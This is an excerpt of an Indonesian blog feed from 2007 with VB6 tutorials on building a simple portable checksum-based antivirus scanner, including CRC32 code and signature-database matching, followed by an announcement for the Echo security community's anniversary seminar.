kita ingin menggunakanna di komputer lain bisa langsung dijalankan :) cucok buat yg suka nancepin Flashdisk ato HD External di komputer2 publik.&lt;br /&gt;&lt;br /&gt;OK, apa aja yg diperluin untuk membuat suatu aplikasi yg portable? Berhubung karena tiap komputer itu beda spesifikasi hardware n software, maka perlu dicermati dalam pembuatan aplikasina juga. Misal, apakah di komputer yang akan dijalankan sudah tersedia file2 pendukung untuk aplikasi kita? Entah itu file DLL, OCX, atau lainna. Apakah spesifikasi hardwarena sama dengan komputer kita dimana development aplikasi dibuat? Untuk menghindari adana error atau tidak berjalanna aplikasi portable kita, lebih baik untuk memikirkan semua kemungkinan yg kira2 penting untuk berjalanna aplikasi kita nantina :)&lt;br /&gt;&lt;br /&gt;Anti virus yang aq bikin menggunakan scanner statis dengan teknik checksum MD5. Disini aq sengaja gk pake rutin menghitung MD5 di dalam Anti Virus itu sendiri, melainkan memakai librari luar, yaitu aamd532.dll. untuk tampilan form menggunakan control Active-X Advanced Progress Bar, yaitu APB.ocx. Dan menggunakan control common dialog, yaitu comdlg32.ocx. Semua file librari external tersebut dijadikan sebah file Resource (RES) yg nanti akan dimasukkan kedalam aplikasi Anti Virus kita.&lt;br /&gt;&lt;br /&gt;Secara garis besar, pada pertama kali run Anti Virus akan mengekstrak n menyalin file2 librari yg ada di "tubuhna" ke dalam direktori sistem dan menregister satu-persatu. Bisa diliat dari snippet kode berikut :&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[code]&lt;/b&gt;&lt;br /&gt;ekstrak GetSystemRoot &amp; "\APB.OCX", 101&lt;br /&gt;ekstrak GetSystemRoot &amp; "\aamd532.dll", 102&lt;br /&gt;ekstrak GetSystemRoot &amp; "\comdlg32.OCX", 103&lt;br /&gt;RegSvr32 GetSystemRoot &amp; "\APB.OCX", False&lt;br /&gt;RegSvr32 GetSystemRoot &amp; "\aamd532.dll", False&lt;br /&gt;RegSvr32 GetSystemRoot &amp; "\comdlg32.OCX", False&lt;br /&gt;&lt;b&gt;[/code]&lt;/b&gt;&lt;br /&gt;&lt;font size="1"&gt;&lt;i&gt;Rutin "ekstrak", "GetSystemRoot" dan "RegSvr32" dapat dilihat pada source code Anti Virus&lt;/i&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Selanjutna, Anti Virus akan mengscan semua proses yg ada di memory terlebih dahulu. Hal ini dilakukan dengan :&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[code]&lt;/b&gt;&lt;br /&gt;Scanmem strDB, Form1.APB1, Form1.Label9, Form1.Label5, Form1.Label10, Form1.List1&lt;br /&gt;&lt;b&gt;[/code]&lt;/b&gt;&lt;br /&gt;&lt;font size="1"&gt;&lt;i&gt;Objek label, APB dan listbox dapat dilihat pada source code Anti Virus&lt;/i&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Setelah itu sang Anti Virus akan mengscan semua file yg ada di direktori dimana ia berada :&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[code]&lt;/b&gt;&lt;br /&gt;scanDir apPath&lt;br /&gt;&lt;b&gt;[/code]&lt;/b&gt;&lt;br /&gt;&lt;font size="1"&gt;&lt;i&gt;Rutin "scanDir" dapat dilihat pada source code Anti Virus&lt;/i&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Berhubung Anti Virus ini menggunakan scanner statis, maka diperlukan suatu database checksum MD5 yang berisi checksum dari file virus. Hal ini juga menjadi suatu kelemahan scanner statis :) File database yang digunakan bernama DB.DAT. Engine scanner statis ini dapat ditingkatkan kemampuanna sesuai dengan artikel sebelumna, "How To Make Your Own Anti Virus - Part 2".&lt;br /&gt;&lt;br /&gt;Anti Virus ini dapat dijalankan secara otomatis pada flashdisk begitu flashdisk dimasukkan ke dalam komputer, dengan catatan autoplay pada komputer tersebut dinyalakan. Hal tsb dapat dilakukan dengan cara membuat file Autorun.inf pada root direktori flashdisk dan menambahkan kode berikut :&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[code]&lt;/b&gt;&lt;br /&gt;[Autorun]&lt;br /&gt;open=nama_file_AV.exe&lt;br /&gt;&lt;b&gt;[/code]&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Fitur yang dapat digunakan pada Anti Virus ini adalah pemeriksaan terhadap suatu file, pemeriksaan terhadap folder tertentu, pemeriksaan terhadap drive tertentu n penambahan checksum file yang dicurigai sebagai thread kedalam database checksum. Kecepatan penghitungan checksum MD5 terhadap suatu file pada Anti Virus ini dapat dikatakan cepat. Dengan catatan bahwa memory yang tersedia pada sistem komputer yang dijalankan memadai. Serta ukuranna yang relatif kecil, sehingga dapat dimasukkan kedalam disket :P Adapun kelemahan dari Anti Virus ini adalah penggunaan scanner statis yg kurang efesien n akurat. Untuk kelemahan2 lainna lom sempat ditemukan, dan diharapkan kelemahan2 yang akan ditemukan dapat diperbaiki serta ditingkatkan hingga optimal :)&lt;br /&gt;&lt;br /&gt;Projek lengkap dapat diunduh di &lt;a href="http://www.geocities.com/emomelodicfreak/multikiller3.zip"&gt;multikiller3-portable&lt;/a&gt;, &lt;a href="http://www.pushm0v.anime.0lx.net/multikiller3.zip"&gt;Mirror&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.pushm0v.anime.0lx.net/APB.zip"&gt;Source code APB.ocx&lt;/a&gt;, &lt;a href="http://www.geocities.com/emomelodicfreak/APB.zip"&gt;Mirror&lt;/a&gt;&lt;br /&gt;&lt;font size="1"&gt;&lt;i&gt;Bila menemui dalam penggunaan file APB.ocx, harap source code APB.ocx di recompile terlebih dahulu&lt;/i&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Saran n kritik terhadap aplikasi Anti Virus Portable sederhana ini sangat diharapkan :) :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-5487908940205255787?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/5487908940205255787/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=5487908940205255787' title='3 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/5487908940205255787'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/5487908940205255787'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/08/how-to-make-your-own-portable-anti.html' title='How To Make Your Own (Portable) Anti Virus'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_C4OekAEc7cI/RtPTdkd2QFI/AAAAAAAAADk/OuNv53UPe9g/s72-c/multikiller3.GIF' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-3228824777403410577</id><published>2007-08-28T14:11:00.000+07:00</published><updated>2007-08-31T22:00:46.775+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tech'/><title type='text'>How To Make Your Own Anti Virus - Part 1</title><content type='html'>&lt;a href="http://bp2.blogger.com/_C4OekAEc7cI/RtPLr0d2QEI/AAAAAAAAADc/p1kZAIYnGHE/s1600-h/Usb_Flash_Memory_With_Virus_Vaccine.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_C4OekAEc7cI/RtPLr0d2QEI/AAAAAAAAADc/p1kZAIYnGHE/s320/Usb_Flash_Memory_With_Virus_Vaccine.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5103646756419551298" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Shoutz : All echo|staff, yogyafree|staff, The Killer Team&lt;br /&gt;  Myztx, vaganci, ^family_code^, TOMMY, adhietslank, ^rumput_kering^, Hartono, etc.&lt;br /&gt;         #e-c-h-o, #yogyafree, #javahack, #koncek, #canda, #canda-ops @DAL.NET&lt;br /&gt;         newbie_hacker@yahoogroups.com, yogyafree@yahoogroups.com&lt;br /&gt;         IT_CENTER@yahoogroups.com, ProgrammerVB@yahoogroups.com&lt;br /&gt;  virus_baru@yahoogroups.com&lt;br /&gt;         VBbego.com, Virology.info, Vbtn.com&lt;br /&gt;         IA01 dan 1IA07, Lab MaDas angk. 19/2004 @ Gunadarma University&lt;br /&gt;         Dan teman2 serta kerabat2 lain yang tidak bisa disebutkan satu-persatu&lt;br /&gt;&lt;br /&gt;Notes  : - Penulis TIDAK bertanggung jawab atas penggunaan maupun penyalahgunaan dari artikel ini.&lt;br /&gt;  - Tujuan dibuat artikel HANYA untuk BAHAN PEMBELAJARAN saja.&lt;br /&gt;         - Penggunaan nama, merek, atau logo hanya sebagai CONTOH dan REFERENSI saja, TIDAK ada maksud&lt;br /&gt;           mempromosikan pihak tertentu.&lt;br /&gt;         - Penulis mohon maaf apabila seluruh/sebagian dari isi artikel ini sudah tersirat dalam &lt;br /&gt;           artikel sejenis lainnya.&lt;br /&gt;&lt;br /&gt;Main#&lt;br /&gt; Sekarang kehadiran para virus maker (--selanjutnya disingkat jadi VM saja) lokal telah membuat gerah &lt;br /&gt;para user komputer tanah air. Bisa dibayangkan bila dari sekian banyak virus lokal tidak satu-dua &lt;br /&gt;yang menghancurkan data (terutama bagi file office; word, excel, dll...). &lt;br /&gt;Bagi para vendor Anti Virus (--selanjutnya disingkat menjadi AV saja) fenomena ini adalah lahan bisnis&lt;br /&gt;untuk produk mereka. Sebut saja NORMAN, yang kini men-support perusahaan konsultan virus lokal (--VAKSIN.COM)&lt;br /&gt;, Symantec, McAffe, NOD32, dan sebagainya. Dengan menawarkan update definisi software AV tercepat, engine&lt;br /&gt;scanner paling sensitif, dan lain-lain merupakan kiat untuk memancing para korban virus membeli&lt;br /&gt;dan menggunakan software AV mereka.&lt;br /&gt; Bagi penulis sendiri hal ini memang agak memberatkan mengingat update file definisi atau engine AV tsb&lt;br /&gt;haruslah melalui koneksi internet. Lalu bagaimana yang tidak mempunyai akses sama sekali? Konsekuensinya iyalah&lt;br /&gt;tertinggal dalam hal pengenalan varian virus baru yang pada ujung-ujungnya membuat AV yang sudah terinstall&lt;br /&gt;bagai 'Macan Ompong'.&lt;br /&gt; Kalau kita membuat AV sendiri bagaimana? dengan database definisi yang bisa diupdate oleh kita bahkan dapat&lt;br /&gt;saling tukar dengan teman? Bisa saja, dengan syarat mau mempelajari sedikit teknik pemograman :D.&lt;br /&gt; Pertama kita harus mengerti bagaimana cara kerja sebuah AV sederhana, pada dasarnya sebuah software AV mempunyai&lt;br /&gt;komponen-komponen :&lt;br /&gt;&lt;br /&gt; 1. Engine scanner, ini merupakan komponen utama AV dalam mengenali sebuah pattern virus. Engine ini dapat&lt;br /&gt;    dikelompokkan menjadi statis dan dinamis. Statis dalam hal ini dapat disebut menjadi spesifik terhadap&lt;br /&gt;    pattern tertentu dari sebuah file virus. Checksum merupakan salah satu contoh dari engine statis ini.&lt;br /&gt;    Dinamis dalam artian dia mengenali perilaku 'umum' sebuah virus. Heuristic menjadi salah satu contohnya.&lt;br /&gt; 2. Database definition, menjadi sebuah referensi dari sebuah pattern file virus. Engine statis sangat bergantung&lt;br /&gt;    kepada komponen ini.&lt;br /&gt; 3. Decompress atau unpacking engine, khusus untuk pengecekan file-file yang terkompresi (*.rar, *.zip, dll) atau&lt;br /&gt;    kompresi atau packing untuk file PE seperti UPX, MeW , dll.&lt;br /&gt;&lt;br /&gt; Tidak jarang hasil dari pengecekan terhadap file suspect virus menghasilkan false-positive bahkan false-negative&lt;br /&gt;(-- false-positive berarti file yang bersih dianggap thread oleh AV, dan false-negative berarti file yang 100% thread &lt;br /&gt;akan dianggap bersih). Semua itu dapat diakibatkan oleh ketidak-sempurnaan dari engine scanner itu sendiri. Misal&lt;br /&gt;pada contoh kasus Engine String scanner (--Engine scanner yang menyeleksi string-string dari file text-based), bila&lt;br /&gt;diterapkan rule 3 out of 5 (-- bila AV menemukan 3 dari daftar 5 string kategori malicious) maka AV akan memberikan &lt;br /&gt;bahwa file terindikasi sebuah thread yang positif. Padahal file tsb nyatanya tidak menimbulkan efek berbahaya bila&lt;br /&gt;dijalankan atau dieksekusi. Kesalahan scanning macam ini lazim ditemukan untuk file-file *.VBS, *.HTML, dll.&lt;br /&gt; Untuk penggunaan engine checksum sangat banyak ditemui di beberapa software AV lokal. Checksum yang lazim digunakan&lt;br /&gt;diantaranya CRC16, CRC32, MD5, dll. Dikarenakan mudah untuk diimplementasikan. Engine ini sendiri bukannya tanpa cacat, &lt;br /&gt;Checksum bekerja dengan memproses byte demi byte dari sebuah file dengan sebuah algoritma tertenu (-- tergantung dari&lt;br /&gt;jenis checksum yang digunakan) sehingga menghasilkan sebuah format tertentu dari file tsb. Contoh checksum menggunakan&lt;br /&gt;CRC32 dan MD5 :&lt;br /&gt;&lt;br /&gt;  * calCrc = CRC32(file_name_and_path)&lt;br /&gt;  * calMD5 = MD5(file_name_and_path)&lt;br /&gt;&lt;br /&gt; Maka isi dari string calCrc adalah 7AF9E376, sedangkan untuk MD5nya adalah 529CA8050A00180790CF88B63468826A. Perlu diketahui&lt;br /&gt;bila virus menerapkan rutin yang mengubah byte tertentu dari badan virus tsb setiap kali maka penggunaan engine checksum ini&lt;br /&gt;akan kurang optimal karena bila 1 byte berubah dari file maka checksum juga akan berubah.  &lt;br /&gt; &lt;br /&gt; Mari kita belajar membuat sebuah AV sederhana, yang diperlukan :&lt;br /&gt;&lt;br /&gt; 1. Software Visual Basic 6.0&lt;br /&gt; 2. Sedikit pemahaman akan pemograman Visual Basic 6.0&lt;br /&gt; 3. Sampel file bersih atau virus (-- opsional)&lt;br /&gt;&lt;br /&gt;First#&lt;br /&gt; Sekarang kita akan belajar membuat sebuah rutin sederhana untuk :&lt;br /&gt;  - Memilih file yang akan dicek&lt;br /&gt;  - Membuka file tersebut dalam mode binary&lt;br /&gt;  - Memproses byte demi byte untuk menghasilkan Checksum&lt;br /&gt; &lt;br /&gt; Buka MS-Visual Basic 6.0 anda, lalu buatlah sebuah class module dan Form dengan menambahkan sebuah objek Textbox, CommonDialog dan Command Button.&lt;br /&gt;(Objek CommonDialog dapat ditambahkan dengan memilih Project -&gt; COmponent atau Ctrl-T dan memilih Microsoft Common Dialog Control 6.0)&lt;br /&gt; Ketikkan kode berikut pada class module (kita beri nama class module tsb clsCrc)  : &lt;br /&gt;&lt;br /&gt; ================= START HERE ====================&lt;br /&gt;&lt;br /&gt; Private crcTable(0 To 255) As Long 'crc32&lt;br /&gt;&lt;br /&gt; Public Function CRC32(ByRef bArrayIn() As Byte, ByVal lLen As Long, Optional ByVal lcrc As Long = 0) As Long&lt;br /&gt;  &lt;br /&gt;  'bArrayIn adalah array byte dari file yang dibaca, lLen adalah ukuran atau size file&lt;br /&gt;&lt;br /&gt;  Dim lCurPos As Long       'Current position untuk iterasi proses array bArrayIn&lt;br /&gt;  Dim lTemp As Long         'variabel temp hasil perhitungan&lt;br /&gt;  &lt;br /&gt;  If lLen = 0 Then Exit Function  'keluar fungsi apabila ukuran file = 0&lt;br /&gt;  lTemp = lcrc Xor &amp;HFFFFFFFF &lt;br /&gt;&lt;br /&gt;  For lCurPos = 0 To lLen&lt;br /&gt;    lTemp = (((lTemp And &amp;HFFFFFF00) \ &amp;H100) And &amp;HFFFFFF) Xor (crcTable((lTemp And 255) Xor bArrayIn(lCurPos)))&lt;br /&gt;  Next lCurPos&lt;br /&gt;&lt;br /&gt;  CRC32 = lTemp Xor &amp;HFFFFFFFF&lt;br /&gt;  &lt;br /&gt; End Function&lt;br /&gt;&lt;br /&gt; Private Function BuildTable() As Boolean&lt;br /&gt;  Dim i As Long, x As Long, crc As Long&lt;br /&gt;  Const Limit = &amp;HEDB88320 &lt;br /&gt;  &lt;br /&gt;  For i = 0 To 255&lt;br /&gt;    crc = i&lt;br /&gt;    For x = 0 To 7&lt;br /&gt;      If crc And 1 Then&lt;br /&gt;        crc = (((crc And &amp;HFFFFFFFE) \ 2) And &amp;H7FFFFFFF) Xor Limit&lt;br /&gt;      Else&lt;br /&gt;        crc = ((crc And &amp;HFFFFFFFE) \ 2) And &amp;H7FFFFFFF&lt;br /&gt;      End If&lt;br /&gt;    Next x&lt;br /&gt;    crcTable(i) = crc&lt;br /&gt;  Next i&lt;br /&gt; End Function&lt;br /&gt;&lt;br /&gt; Private Sub Class_Initialize()&lt;br /&gt;  BuildTable&lt;br /&gt; End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; ================= END HERE ====================&lt;br /&gt;&lt;br /&gt; Lalu ketikkan kode berikut dalam event Command1_Click :&lt;br /&gt; &lt;br /&gt; ================= START HERE ====================&lt;br /&gt;&lt;br /&gt; Dim namaFileBuka As String, HasilCrc As String&lt;br /&gt; Dim CCrc As New clsCrc 'bikin objek baru dari class ClsCrc&lt;br /&gt; Dim calCrc As Long&lt;br /&gt; Dim tmp() As Byte 'array buat file yang dibaca&lt;br /&gt; &lt;br /&gt; Private Sub Command1_Click()&lt;br /&gt; CommonDialog1.CancelError = True 'error bila user mengklik cancel pada CommonDialog&lt;br /&gt; CommonDialog1.DialogTitle = "Baca File" 'Caption commondialog&lt;br /&gt;&lt;br /&gt; On Error GoTo erorhandle 'label error handle &lt;br /&gt;&lt;br /&gt; CommonDialog1.ShowOpen &lt;br /&gt; namafilbuka = CommonDialog1.FileName&lt;br /&gt; Open namafilbuka For Binary Access Read As #1 'buka file yang dipilih dengan akses baca pada mode binary&lt;br /&gt;  ReDim tmp(LOF(1)) As Byte 'deklarasi ulang untuk array&lt;br /&gt;  Get #1, , tmp()&lt;br /&gt; Close #1&lt;br /&gt;&lt;br /&gt; calCrc = UBound(tmp) 'mengambil ukuran file dari array&lt;br /&gt; calCrc = CCrc.CRC32(tmp, calCrc) 'hitung CRC&lt;br /&gt;&lt;br /&gt; HasilCrc = Hex(calCrc) 'diubah ke format hexadesimal, karena hasil perhitungan dari class CRC masih berupa numeric&lt;br /&gt; Text1.Text = HasilCrc 'tampilkan hasilnya&lt;br /&gt; Exit Sub&lt;br /&gt;&lt;br /&gt; erorhandle:&lt;br /&gt;  If Err.Number &lt;&gt; 32755 Then MsgBox Err.Description 'error number 32755 dalah bila user mengklik tombol cancel pada saat memilih file                                                      &lt;br /&gt;&lt;br /&gt; ================= END HERE ====================&lt;br /&gt; &lt;br /&gt; COba anda jalankan program diatas dengan memencet tombol F5, lalu klik Command1 untuk memilih dan membuka file. Maka program akan&lt;br /&gt;menampilkan CRC32nya. &lt;br /&gt;&lt;br /&gt;Second#&lt;br /&gt; Kode diatas dapat kita buat menjadi sebuah rutin pengecekan file suspect virus dengan antara membandingkan hasil &lt;br /&gt;CRC32nya dan database CRC kita sendiri. Algoritmanya adalah :&lt;br /&gt;  - Memilih file yang akan dicek&lt;br /&gt;  - Membuka file tersebut dalam mode binary&lt;br /&gt;  - Memproses byte demi byte untuk menghasilkan Checksum&lt;br /&gt;  - Buka file database&lt;br /&gt;  - Ambil isi file baris demi baris&lt;br /&gt;  - Samakan Checksum hasil perhitungan dengan checksum dari file&lt;br /&gt; &lt;br /&gt; Format file database dapat kita tentukan sendiri, misal :&lt;br /&gt;  - FluBurung.A=ABCDEFGH&lt;br /&gt;  - Diary.A=12345678&lt;br /&gt; Dimana FluBurung.A adalah nama virus dan ABCDEFGH dalah Crc32nya. Jika kita mempunyai format file seperti diatas, maka kita perlu membaca&lt;br /&gt;file secara sekuensial per baris serta memisahkan antara nama virus dan Crc32nya. Dalam hal ini yang menjadi pemisah adalah karakter '='.&lt;br /&gt;Buat 1 module baru (-- diberi nama module1) lalu isi dengan kode :&lt;br /&gt;&lt;br /&gt; ================= START HERE ====================&lt;br /&gt;&lt;br /&gt; Public namaVirus As String, CrcVirus As String 'deklarasi variabel global untuk nama dan CRC virus&lt;br /&gt; Public pathExe as String 'deklarasi variabel penyimpan lokasi file EXE AV kita &lt;br /&gt;&lt;br /&gt; Public Function cariDatabase(Crc As String, namaFileDB As String) As Boolean&lt;br /&gt;  Dim lineStr As String, tmp() As String 'variabel penampung untuk isi file &lt;br /&gt;   Open namaFileDB For Input As #1 'buka file dengan mode input&lt;br /&gt;    Do&lt;br /&gt;     Line Input #1, lineStr&lt;br /&gt;     tmp = Split(lineStr, "=") 'pisahkan isi file bedasarkan pemisah karakter '='&lt;br /&gt;     namaVirus = tmp(0) 'masukkan namavirus ke variabel dari array &lt;br /&gt;     CrcVirus = tmp(1) 'masukkan Crcvirus ke variabel dari array&lt;br /&gt;     If CrcVirus = Crc Then 'bila CRC perhitungan cocok/match dengan database&lt;br /&gt;      cariDatabase = True 'kembalikan nilai TRUE&lt;br /&gt;      Exit Do 'keluar dari perulangan&lt;br /&gt;     End If&lt;br /&gt;    Loop Until EOF(1)&lt;br /&gt;   Close #1&lt;br /&gt; End Function&lt;br /&gt;&lt;br /&gt; ================= END HERE ====================&lt;br /&gt; &lt;br /&gt; Lalu tambahkan 1 objek baru kedalam Form, yaitu Command button2. lalu ketikkan listing kode berikut kedalam event Command2_Click :&lt;br /&gt;&lt;br /&gt; ================= START HERE ====================&lt;br /&gt; If Len(App.Path) &lt;= 3 Then 'bila direktori kita adalah root direktori&lt;br /&gt;  pathEXE = App.Path&lt;br /&gt; Else&lt;br /&gt;  pathEXE = App.Path &amp; "\" &lt;br /&gt; End If&lt;br /&gt; &lt;br /&gt;CommonDialog1.CancelError = True 'error bila user mengklik cancel pada CommonDialog&lt;br /&gt; CommonDialog1.DialogTitle = "Baca File" 'Caption commondialog&lt;br /&gt;&lt;br /&gt; On Error GoTo erorhandle 'label error handle&lt;br /&gt;&lt;br /&gt; CommonDialog1.ShowOpen&lt;br /&gt; namafilbuka = CommonDialog1.FileName&lt;br /&gt; Open namafilbuka For Binary Access Read As #1 'buka file yang dipilih dengan akses baca pada mode binary&lt;br /&gt;  ReDim tmp(LOF(1)) As Byte 'deklarasi ulang untuk array&lt;br /&gt;  Get #1, , tmp()&lt;br /&gt; Close #1&lt;br /&gt;&lt;br /&gt; calCrc = UBound(tmp) 'mengambil ukuran file dari array&lt;br /&gt; calCrc = CCrc.CRC32(tmp, calCrc) 'hitung CRC&lt;br /&gt;&lt;br /&gt; HasilCrc = Hex(calCrc) 'diubah ke format hexadesimal, karena hasil perhitungan dari class CRC masih berupa numeric&lt;br /&gt; If cariDatabase(HasilCrc, pathEXE &amp; "DB.txt") Then 'bila fungsi bernilai TRUE&lt;br /&gt;  MsgBox "Virus ditemukan : " &amp; namaVirus 'tampilkan message Box&lt;br /&gt; End If&lt;br /&gt; Exit Sub&lt;br /&gt;&lt;br /&gt; erorhandle:&lt;br /&gt;  If Err.Number &lt;&gt; 32755 Then MsgBox Err.Description 'error number 32755 dalah bila user mengklik tombol cancel pada saat memilih file&lt;br /&gt;&lt;br /&gt; ================= END HERE ====================&lt;br /&gt;&lt;br /&gt; Fitur AV sederhana ini dapat ditambahkan dengan fitur process scanner, akses registry, real-time protection (RTP) dan lain lain. Untuk process&lt;br /&gt;scanner pada dasarnya adalah teknik enumerasi seluruh proses yang sedang berjalan pada Sistem Operasi, lalu mencari letak atau lokasi file&lt;br /&gt;dan melakukan proses scanning. Fitur akses registry memungkinkan kita untuk mengedit secara langsung registry windows apabila akses terhadap&lt;br /&gt;registry (--Regedit) diblok oleh virus. Sedangkan fitur RTP memungkinkan AV kita berjalan secara simultan dengan windows explorer untuk mengscan&lt;br /&gt;direktori atau file yang sedang kita browse atau lihat. Untuk ketiga fitur lanjutan ini akan dibahas pada artikel selanjutnya.&lt;br /&gt;&lt;br /&gt;Kesimpulan#&lt;br /&gt; Tidak harus membeli software AV yang mahal untuk menjaga komputer kita dari ancaman virus, kita bisa membuatnya sendiri dengan fitur-fitur yang&lt;br /&gt;tak kalah bagusnya. Memang terdapat ketidaksempurnaan dalam AV buatan sendiri ini, tetapi setidaknya dapat dijadikan pencegah dari infeksi virus&lt;br /&gt;komputer yang semakin merajalela. Software AV sederhana ini dilengkapi oleh engine scanner statis dan database definisi. Tidak tertutup kemungkinan&lt;br /&gt;software AV ini ditingkatkan lebih advanced dalam hal engine scannernya.&lt;br /&gt;&lt;br /&gt;Penutup#&lt;br /&gt; Pengembangan software AV sederhana ini sepenuhnya Open-Source selama mengikutsertakan nama pembuat asli didalamnya. Listing serta projek lengkap dapat&lt;br /&gt;didownload di &lt;a href="http://www.geocities.com/emomelodicfreak/ProjekAV.zip"&gt;Projek AV&lt;/a&gt;, &lt;a href="http://www.pushm0v.anime.0lx.net/ProjekAV.zip"&gt;Mirror&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-3228824777403410577?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/3228824777403410577/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=3228824777403410577' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/3228824777403410577'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/3228824777403410577'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/08/how-to-make-your-own-anti-virus-part-1.html' title='How To Make Your Own Anti Virus - Part 1'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_C4OekAEc7cI/RtPLr0d2QEI/AAAAAAAAADc/p1kZAIYnGHE/s72-c/Usb_Flash_Memory_With_Virus_Vaccine.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-4803703650147241701</id><published>2007-08-27T12:55:00.001+07:00</published><updated>2007-08-27T22:29:49.987+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='info'/><title type='text'>Acara Ulang tahun Echo.or.id</title><content type='html'>&lt;a href="http://ultah.echo.or.id"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_C4OekAEc7cI/RtLtUEd2QDI/AAAAAAAAADU/vjzAeuPRHmE/s320/banner-ultah.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5103402256816291890" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Dalam rangka meningkatkan semangat berbagi dna belajar bersama maka di ulang tahunnya yang ke empat in Echo akan mengadakan beberapa kegiatan:&lt;br /&gt;&lt;br /&gt;Nama : Ulang tahun Echo yang ke 4&lt;br /&gt;Pelaksanaan&lt;br /&gt;Tempat : Aula SMK N 26 Jakarta (ex. STM Pembangunan) &lt;br /&gt;Jl. Balai Pustaka Baru I, Rawamangun, Jakarta Timur 13220&lt;br /&gt;Tanggal : Minggu, 9 September 2007&lt;br /&gt;Waktu : Pukul 09.00 - Selesai BBWI&lt;br /&gt;&lt;br /&gt;Acara&lt;br /&gt;&lt;br /&gt;Sesi Seminar dengan tema "Apakah Kamu dan Komputermu aman" ? &lt;br /&gt;Speaker &amp; Judul Materi :&lt;br /&gt;&lt;br /&gt;* Jim Geovedi &lt;br /&gt;materi : Latest Computer And Network Security Threats (0day)&lt;br /&gt;(akan membahas info-info up-to-date tentang berbagai jenis ancaman dan serangan terhadap keamanan komputer dan jaringan saat ini)&lt;br /&gt;* the_day (Dedi Dwianto)&lt;br /&gt;materi: Protocol Tunneling : From Limited to Unlimited Acces&lt;br /&gt;plus demo inet gratis dengan tunneling &lt;br /&gt;&lt;br /&gt;Sesi Diskusi Panel:&lt;br /&gt;* all Echo staff, moderator Jim Geovedi&lt;br /&gt;materi : sejarah echo dan eksistensi echo&lt;br /&gt;&lt;br /&gt;Sesi Pemotongan Tumpeng&lt;br /&gt;&lt;br /&gt;Sesi Dikusi Bebas&lt;br /&gt;Selama lebih kurang 45 menit, para peserta bisa bebas bertanya tentang semua hal di luar materi dan terkait dengan keamanan komputer dan jaringan. &lt;br /&gt;&lt;br /&gt;Sesi launching Buku y3dips&lt;br /&gt;Selama 15 menit, para peserta bisa mengetahui latar belakang pembuatan buku ini, serta diskon sebesar 20% untuk pembelian buku tersebut :)&lt;br /&gt;&lt;br /&gt;Sesi hiburan&lt;br /&gt;Akan di bagikan Door price berupa buku, kaos, pin dan merchandise lainnya&lt;br /&gt;&lt;br /&gt;E.t.c&lt;br /&gt;Di jual buku-buku keamanan (buku y3dips juga :P) yang bekerja sama dengan jasakom.com, kaos echoerz edisi khusus, PIN echo dsb&lt;br /&gt;&lt;br /&gt;Kontribusi Peserta&lt;br /&gt;&lt;br /&gt;Rp.45.000 untuk mahasiswa/pelajar&lt;br /&gt;Rp.75.000 untuk umum&lt;br /&gt;&lt;br /&gt;Fasilitas&lt;br /&gt;&lt;br /&gt;- Makan Siang + Air Mineral&lt;br /&gt;- untuk yang membawa hardisk external/usb bisa mengkopi materi plus dokumentasi lainnya.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pendaftaran&lt;br /&gt;&lt;br /&gt;- EMail Registration&lt;br /&gt;Dengan format sebagai berikut :&lt;br 